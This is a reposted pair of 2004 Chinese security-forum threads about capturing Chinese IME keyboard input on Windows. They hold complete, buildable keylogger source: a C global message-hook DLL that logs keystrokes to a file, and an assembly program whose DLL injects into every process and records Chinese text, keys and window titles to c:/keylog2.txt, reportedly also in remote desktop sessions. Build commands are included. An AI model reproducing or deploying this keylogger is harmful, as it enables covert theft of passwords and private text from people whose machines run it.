zoukankan      html  css  js  c++  java
  • 关于HOOK截获中文输入



    标题:关于HOOK截获中文输入
    发信站:安全焦点(2004年12月10日13时58分49秒)

    以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
    后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
    WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
    时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
    以下是源代码:

    //HOOK IME TO GET CHINESE INPUT CHAR
    //MAKE BY ZWELL
    //2004.12.9
    //THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
    //ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
    #include "windows.h"
    #include "imm.h"
    #include "stdio.h"

    #define HOOK_API __declspec(dllexport)

    HHOOK        g_hHook            = NULL;        //hook句柄
    HINSTANCE    g_hHinstance    = NULL;        //程序句柄

    LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
    {    
        LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
        PMSG pmsg = (PMSG)lParam;
        if (nCode == HC_ACTION)
        {
            
            switch (pmsg->message)
            {
            case WM_IME_COMPOSITION:
                {
                    HIMC hIMC;
                    HWND hWnd=pmsg->hwnd;
                    DWORD dwSize;
                    char ch;
                    char lpstr[20];
                    if(pmsg->lParam & GCS_RESULTSTR)
                    {
                        //先获取当前正在输入的窗口的输入法句柄
                        hIMC = ImmGetContext(hWnd);
                        if (!hIMC)
                        {
                            MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                        }

                        // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                        dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                        // 缓冲区大小要加上字符串的NULL结束符大小,
                        //   考虑到UNICODE
                        dwSize += sizeof(WCHAR);

                        memset(lpstr, 0, 20);

                        // 再调用一次.ImmGetCompositionString获取字符串
                        ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                        //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                        MessageBox(NULL, lpstr, lpstr, MB_OK);
                        ImmReleaseContext(hWnd, hIMC);
                    }
                }
                break;
            case WM_CHAR:  //截获发向焦点窗口的键盘消息
                {
                    FILE* f1;
                    f1=fopen("c://report.txt","a+");
                    ch=(char)(pmsg->wParam);
                    fwrite(&ch,1,1,f1);
                    fclose(f1);    
                }
                break;
            }
        }

        return(lResult);
    }

    HOOK_API BOOL InstallHook()
    {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
        return TRUE;
    }

    HOOK_API BOOL UnHook()
    {       
        return UnhookWindowsHookEx(g_hHook);
    }

    BOOL APIENTRY DllMain( HANDLE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            g_hHinstance=hModule;
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            UnHook();
            break;
        }
        return TRUE;
    }

    /////////////////////////////////////////
    hool.def模块:
    /////////////////////////////////////////
    LIBRARY    HOOK

    EXPORTS
        InstallHook
        UnHook


    其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
    一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
    希望对大家有用. ^_^

    --
    Welcome to my blog:
    http://www.donews.net/zwell/
    发帖者:Met3or 讨论区:编程讨论推荐区
    标题:Re: 关于HOOK截获中文输入
    发信站:安全焦点(2004年12月11日2时20分47秒)

    很久没去绿盟,那天去看到czy写的这个
    ctrl+C过来

    键盘记录支持中文,3389
                                          czy 04.11.28

      挂接WH_CALLWNDPROC(WM_IME_COMPOSITION),WH_GETMESSAGE(WM_CHAR和WM_KEYUP),前者记录中文,后者记特殊按键和字母符号.
      中文在极品五笔和智能ABC中测试通过,另系统测试在2k,xp,2003下测试通过,同时包括
    2kserver的3389中.(CMD中不能成功记录)
      记录文件在c:/keylog2.txt中.防止有些人那去害人.调试窗口没有去掉嘿嘿.
    用法:运行a.exe后key.dll就会进入每一个进程并进行记录.


    编绎参数:
    ml /c /coff a.asm
    rc hook.rc
    link /subsystem:windows a.obj hook.res
    ml /c /coff key.asm
    link /SECTION:.bss,S /DLL /DEF:key.def /SUBSYSTEM:windows /LIBPATH:C:/MASM32/BIN key.obj


    rc文件
    -------------------hook.rc-----------------
    //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    #include        <resource.h>
    //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    #define    ICO_MAIN    1000
    #define    DLG_MAIN    1000
    #define    IDC_TEXT    1001
    //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ICO_MAIN    ICON        "Main.ico"
    //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    DLG_MAIN DIALOG 208, 130, 234, 167
    STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
    CAPTION "键盘钩子"
    FONT 9, "宋体"
    {
    EDITTEXT IDC_TEXT, 5, 5, 224, 158, ES_MULTILINE | ES_AUTOVSCROLL
        | WS_BORDER | WS_VSCROLL | WS_TABSTOP | ES_READONLY
    }
    //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    -------------------end---------------------

    包含文件key.inc
    ------------key.inc-------------
    UninstallHook PROTO
    InstallHook PROTO
    ------------end-----------------
    def文件key.def
    ------------key.def--------------
    LIBRARY        key.dll

    EXPORTS       InstallHook
            UninstallHook
    ---------------end----------------


    ---------------------a.exe---------------------------
            .386
            .model flat, stdcall
            option casemap :none
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; Include 文件定义
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    include        ../include/user32.inc
    includelib    ../lib/user32.lib
    include        ../include/kernel32.inc
    includelib    ../lib/kernel32.lib
    include        ../include/windows.inc
    include        key.inc
    includelib     key.lib

    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; Equ 等值定义
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ICO_MAIN    equ    1000
    DLG_MAIN    equ    1000
    IDC_TEXT    equ    1001
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 数据段
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            .data?


    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 代码段
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

            .code

    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _ProcDlgMain    proc    uses ebx edi esi hWnd,wMsg,wParam,lParam

            mov    eax,wMsg
    ;********************************************************************
            .if    eax ==    WM_CLOSE
                invoke    UninstallHook
                invoke    EndDialog,hWnd,NULL
    ;********************************************************************
            .elseif    eax ==    WM_INITDIALOG
                invoke InstallHook
        

    ;********************************************************************
            .else
                mov    eax,FALSE
                ret
            .endif
            mov    eax,TRUE
            ret

    _ProcDlgMain    endp
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    start:
            invoke    GetModuleHandle,NULL
            invoke    DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
            invoke    ExitProcess,NULL
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    end    start

    ---------------------end-----------------------------

    ---------------------key.dll--------------------------
    .386
    .model flat,stdcall
    option casemap:none
    include /masm32/include/windows.inc
    include /masm32/include/user32.inc
    include /masm32/include/kernel32.inc
    includelib /masm32/lib/user32.lib
    includelib /masm32/lib/kernel32.lib
    includelib    ../lib/imm32.lib
    include        ../include/imm32.inc

    IDC_TEXT    equ    1001
    .data
    hInstance dd 0
    maintitle db '键盘钩子',0

    LogKeyFile2   db 'c:/keylog2.txt',0
    keylogformat db 0dh,0ah,'--==%s==--',0dh,0ah,0
    ;------vk-------------
    insert    db '[Insert]',0
    delete     db '[Del]',0
    home    db '[Home]',0
    kend    db '[End]',0
    pgdown    db '[PgDn]',0
    pgup    db '[PgUp]',0

    down    db '[↓]',0
    up    db '[↑]',0
    left    db '[←]',0
    right    db '[→]',0

    back    db '[<=]',0
    ctrl    db '[ctrl]',0
    tab    db '[Tab]',0
    alt    db '[Alt]',0 ;键盘码是VK_MENU
    shift    db '[Shift]',0
    kesc    db '[Esc]',0
    space    db ' ',0
    printscreen    db '[PrtSc]',0
    capslock    db '[Caps Lock]',0
    kreturn        db 0dh,0ah,0

    .data?
    forcushwnd    DD ?
    fhwnd        dd ?

    hHook dd ?
    hHook2 dd ?
    cchar        db 20 dup(?)
    cchar2        db 20 dup(?)

    keylogbuffer    db 1024 dup(?)  ;定义1kb的键盘记录缓冲

    hlogKeyFile    dd ?

    hactivewindow    dd ?
    svTitle        db 256 dup(?)  ;当前窗口标题
    szkeylogtitlebuffer db 270 dup (?)


    .code
    DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
          
        .if reason==DLL_PROCESS_ATTACH  ;dll加载时
                    push hInstDLL
                pop hInstance
                
        .endif
            mov  eax,TRUE      
            ret
    DllEntry Endp


    _KeyLog    proc     keyaddr:dword
            invoke    FindWindow,NULL,offset maintitle
            invoke    SendDlgItemMessage,eax,IDC_TEXT,EM_REPLACESEL,0,keyaddr

            invoke    GetActiveWindow
            .if    eax!=hactivewindow
                mov    hactivewindow,eax
                invoke    GetWindowText,hactivewindow,offset svTitle,256
            
                invoke    wsprintf,offset szkeylogtitlebuffer,offset keylogformat,offset svTitle
                invoke    lstrcat,offset keylogbuffer,offset szkeylogtitlebuffer
            
            .endif
            
            invoke    lstrlen,offset keylogbuffer
            .if    eax<10
                invoke    lstrcat,offset keylogbuffer,keyaddr
            .else
                 invoke    CreateFile,offset LogKeyFile2,GENERIC_WRITE,FILE_SHARE_READ,/
                                    NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
                 mov    hlogKeyFile,eax
                 invoke    SetFilePointer,hlogKeyFile,0,NULL,FILE_END
                        invoke    SetEndOfFile,hlogKeyFile                   ;文件指针放到文件尾                        
                 invoke    lstrlen,offset keylogbuffer
                 invoke    _lwrite,hlogKeyFile,offset keylogbuffer,eax    
                       invoke  CloseHandle,hlogKeyFile
                      
                       invoke    RtlZeroMemory,offset keylogbuffer,1024
                       invoke    lstrcat,offset keylogbuffer,keyaddr
            .endif

            ret
    _KeyLog    endp


    HookProc proc     _dwCode,_wParam,_lParam
            
            invoke    CallNextHookEx,hHook,_dwCode,_wParam,_lParam    
            pushad    
            .if    _dwCode == HC_ACTION
                mov    ebx,_lParam
                assume    ebx:ptr CWPSTRUCT
                ;.if    [ebx].message == WM_IME_CHAR
                    ;mov    dx,word ptr [ebx].wParam
                    ;xchg    dl,dh
                    ;mov    ebx,offset cchar
                    ;mov    word ptr [ebx],dx
                    
                    ;invoke    MessageBoxA,0,addr cchar,addr cchar,1
                    ;invoke    _KeyLog,addr cchar
                .if [ebx].message == WM_IME_COMPOSITION
                    invoke    GetFocus
                    mov    forcushwnd,eax
                    invoke    ImmGetContext,forcushwnd
                    mov    fhwnd,eax
                            
                    invoke    ImmGetCompositionString,fhwnd,GCS_RESULTSTR,NULL,0                
                    add    eax,sizeof WCHAR
                    invoke    ImmGetCompositionString,fhwnd,GCS_RESULTSTR,offset cchar,eax
                    ;invoke    MessageBoxA,0,offset cchar,offset cchar,1
                    
                    invoke    lstrcmp,addr cchar,addr cchar2
                
                    .if    eax
                    invoke    _KeyLog,addr cchar
                
                    .endif
                    invoke    lstrcpy,addr cchar2,addr cchar
                    invoke    RtlZeroMemory,offset cchar,20
                    invoke    ImmReleaseContext,forcushwnd,fhwnd    
                .endif
                assume    ebx:nothing
            .endif
            popad
            xor    eax,eax
            ret
        
    HookProc endp


    HookProc2 proc     _dwCode,_wParam,_lParam
            
            invoke    CallNextHookEx,hHook,_dwCode,_wParam,_lParam    
            pushad    
            .if    _dwCode == HC_ACTION
                mov    ebx,_lParam
                assume    ebx:ptr MSG
                .if    [ebx].message == WM_KEYUP
                    mov    edx,[ebx].wParam
                    .if    dl<30h
                    .if dl==VK_SPACE
                    ;    invoke    _KeyLog,addr space
                        jmp    @@ex        

                    .elseif dl==VK_RETURN
                    ;    invoke    _KeyLog,addr kreturn
                        jmp    @@ex                
                    .elseif    dl==VK_PGDN ;down
                        invoke    _KeyLog,addr pgdown                                                        
                        jmp    @@ex
                    .elseif    dl==VK_PGUP ;UP
                        invoke    _KeyLog,addr pgup
                        jmp    @@ex
                    .elseif dl==VK_CAPITAL
                        invoke    _KeyLog,addr capslock
                        jmp    @@ex
                    .elseif dl==VK_HOME
                        invoke    _KeyLog,addr home
                        jmp    @@ex
                    .elseif dl==VK_END
                        invoke    _KeyLog,addr kend
                        jmp    @@ex
                    .elseif dl==VK_DELETE
                        invoke    _KeyLog,addr delete
                        jmp    @@ex
                    .elseif dl==VK_INSERT
                        invoke    _KeyLog,addr insert
                        jmp    @@ex
                    .elseif dl==VK_DOWN
                        invoke    _KeyLog,addr down
                        jmp    @@ex
                    .elseif dl==VK_UP
                        invoke    _KeyLog,addr up    
                        jmp    @@ex
                    .elseif dl==VK_LEFT
                        invoke    _KeyLog,addr left
                        jmp    @@ex
                    .elseif dl==VK_RIGHT
                        invoke    _KeyLog,addr right
                        jmp    @@ex                                        
                    .elseif dl==VK_CONTROL  
                    ;    invoke    _KeyLog,addr ctrl
                        jmp    @@ex    
                    .elseif dl==VK_TAB
                        invoke    _KeyLog,addr tab
                        jmp    @@ex    
                    .elseif dl==VK_ESCAPE
                        invoke    _KeyLog,addr kesc
                        jmp    @@ex    
                    .elseif dl==VK_SNAPSHOT
                        invoke    _KeyLog,addr printscreen
                        jmp    @@ex    
                    .elseif dl==VK_MENU
                        invoke    _KeyLog,addr alt
                        jmp    @@ex    
                                                    
                    .endif
                    .endif    
                .elseif [ebx].message == WM_CHAR
                    invoke    IsDBCSLeadByte,[ebx].wParam
                    .if    !eax
                        .if _wParam & PM_REMOVE
                            mov    dx,word ptr [ebx].wParam
                            .if dl==VK_BACK
                                invoke    _KeyLog,addr back
                        
                            .elseif dl==VK_RETURN
                                invoke    _KeyLog,addr kreturn
                            .elseif    dl==VK_SPACE
                                invoke    _KeyLog,addr space    
                            .else
                                mov    ebx,offset cchar
                                mov    word ptr [ebx],dx
                    
                        ;invoke    MessageBoxA,0,addr cchar,addr cchar,1
                        
                                invoke    _KeyLog,addr cchar
                                
                            .endif
                        .endif
                    .endif                
                .endif
                @@ex:
                assume    ebx:nothing
            .endif
            popad
            xor    eax,eax
            ret
        
    HookProc2 endp

    InstallHook proc

        invoke    SetWindowsHookEx,WH_CALLWNDPROC,addr HookProc,hInstance,NULL
        mov        hHook2,eax
        invoke    SetWindowsHookEx,WH_GETMESSAGE,addr HookProc2,hInstance,NULL
        mov hHook,eax
        ret
    InstallHook endp

    UninstallHook proc
        invoke UnhookWindowsHookEx,hHook
         invoke UnhookWindowsHookEx,hHook2
        ret
    UninstallHook endp

    End DllEntry
    -----------------------------------------------end---------------------------

    --
    mail & MSN:meteor@feelids.com
     
  • 相关阅读:
    《ArcGIS Runtime SDK for Android开发笔记》——问题集:Error:Error: File path too long on Windows, keep below 240 characters
    《ArcGIS Runtime SDK for Android开发笔记》——(12)、自定义方式加载Bundle格式缓存数据
    《ArcGIS Runtime SDK for Android开发笔记》——(11)、ArcGIS Runtime SDK常见空间数据加载
    《ArcGIS Runtime SDK for Android开发笔记》——问题集:如何解决ArcGIS Runtime SDK for Android中文标注无法显示的问题(转载)
    《ArcGIS Runtime SDK for Android开发笔记》——数据制作篇:紧凑型切片制作(Server缓存切片)
    《ArcGIS Runtime SDK for Android开发笔记》——(10)、ArcGIS Runtime SDK支持的空间数据类型
    《ArcGIS Runtime SDK for Android开发笔记》——(9)、空间数据的容器-地图MapView
    《ArcGIS Runtime SDK for Android开发笔记》——(8)、关于ArcGIS Android开发的未来(“Quartz”版Beta)
    legend3---9、项目的日志以及调试信息数据量非常大
    laravel如何从mysql数据库中随机抽取n条数据
  • 原文地址:https://www.cnblogs.com/mtcnn/p/9410228.html
Copyright © 2011-2022 走看看